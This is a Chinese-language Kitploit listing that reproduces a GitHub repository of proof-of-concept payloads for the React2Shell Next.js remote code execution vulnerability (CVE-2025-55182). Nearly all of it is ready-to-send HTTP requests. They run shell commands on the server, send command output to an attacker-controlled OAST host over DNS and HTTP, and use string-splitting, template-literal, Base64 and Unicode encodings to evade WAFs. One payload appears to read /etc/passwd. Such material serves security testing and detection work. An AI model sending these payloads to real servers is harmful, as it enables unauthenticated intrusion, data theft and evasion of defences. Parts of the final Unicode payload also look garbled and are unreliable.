Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
krle — CVE-2025-55182 & CVE-2025-66478 概念验证 | Kitploit
工具/GitHubGitHub/aseemyash/krle
漏洞利用Web应用程序漏洞利用数据泄露WAF绕过渗透测试Payload 开发
GitHubaseemyash/krle

krle

CVE-2025-55182 & CVE-2025-66478 概念验证

查看仓库
8个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) 是一个影响使用 Server Actions 的 Next.js 应用程序的关键远程代码执行（RCE）漏洞链。该漏洞利用原型污染漏洞，结合 Server Actions 实现未经过身份验证的服务器任意代码执行。

本仓库致力于分享 React2Shell 的攻击载荷与绕过方法。欢迎提交 PR/贡献！

PoC

资源

以下是一些可能有用的额外资源：

  • Assetnote 的 React2Shell 扫描器：https://github.com/assetnote/react2shell-scanner
  • Nuclei 模板：https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

攻击载荷

原始概念验证

所有功劳归于 @maple3142，其初始概念验证披露可在以下 GitHub Gist 中找到：

root@kitploit:~
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

通过错误消息（digest 字段）输出结果的完整 RCE

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

PoC

触发外部 DNS 查询

将 <OAST_SERVER> 替换为你的 OAST 服务器主机名。

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

DNS 外传数据

将 <OAST_SERVER> 替换为你的 OAST 服务器主机名。

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

HTTP 外传数据

将 <OAST_SERVER> 替换为你的 OAST 服务器主机名。

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

触发时间延迟

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

通过字符串拼接与编码绕过 WAF

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/HEAD/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/HEAD/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--

通过 Unicode 转义与模板字面量绕过 WAF

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: q8w2e5r7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH9jK2mP5qR8vX3zC
X-Nextjs-Html-Request-Id: L4kJ7hG9fD2sA6zX
Content-Length: 780

------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var a=process[`main${''}Module`][`req${''}uire`](https://github.com/aseemyash/krle/blob/HEAD/%60child$%7B%27_%27%7Dprocess%60);var b=a[`exe${''}cSync`](https://github.com/aseemyash/krle/blob/HEAD/%60who$%7B%27%27%7Dami%60);var c=b[`toS${''}tring`]();throw Object[`ass${''}ign`](new Error(`NEXT${'_'}REDIRECT`),{digest:c});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryH9jK2mP5qR8vX3zC--

通过 Base64 编码载荷绕过 WAF

root@kitploit:~
POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: z5x8c3v6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP6oI9uY2tR5eW8qA
X-Nextjs-Html-Request-Id: M3nB6vC9xZ4wE7rT
Content-Length: 820

------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var B=Buffer['from'];var s=B('Y2hpbGRfcHJvY2Vzcw==','base64')['toString']();var cp=process['mainModule']['require'](https://github.com/aseemyash/krle/blob/HEAD/s);var cmd=B('aWQ=','base64')['toString']();var res=cp['execSync'](https://github.com/aseemyash/krle/blob/HEAD/cmd)['toString']();throw Object['assign'](new Error(B('TkVYVF9SRURJUkVDVA==','base64')['toString']()),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryP6oI9uY2tR5eW8qA--

通过完全 Unicode 编码绕过 WAF

功劳归于 @pyn3rd

root@kitploit:~
POST / HTTP/1.1
Host: localhost
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Next-Html-Request-Id: abe3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Length: 2349

------WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Disposition: form-data; name="0"

{
  "\u0074\u0068\u0065\u006e":
    "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
  "\u0073\u0074\u0061\u0074\u0075\u0073":
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
    "\u0076\u0061\u006c\u0075\u0065": {
      "\u0076\u0061\u006c\u0075\u0065":
        "\u0076\u0022\u0074\u006d\u0069\u006e\u0065\u0022\u003a\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u0022\u007d",
      "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0065": {
        "\u005f\u0070\u0072\u0065\u0066\u0069\u0078\u0078":
          "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u0072\u0075\u006e\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u002c\u005b\u0027\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064\u0027\u005d\u002c\u007b\u0027\u0065\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0027\u003a\u0027\u0075\u0074\u0066\u0038\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u003d\u0072\u0065\u0073\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u0072\u0065\u0073\u003d\u0042\u0031\u0033\u0033\u0037\u002b\u0072\u0065\u0073\u003b\u0072\u0065\u0073\u002b\u003d\u0042\u0031\u0033\u0033\u0037",
        "\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u006e\u0065\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
        "\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
        "\u005f\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0049\u006e\u0064\u0065\u0078": {
          "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072":
            "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
        }
      }
  }
}
------WebKitFormBoundaryZ8VskeuqzXXMdwxw--
下载工具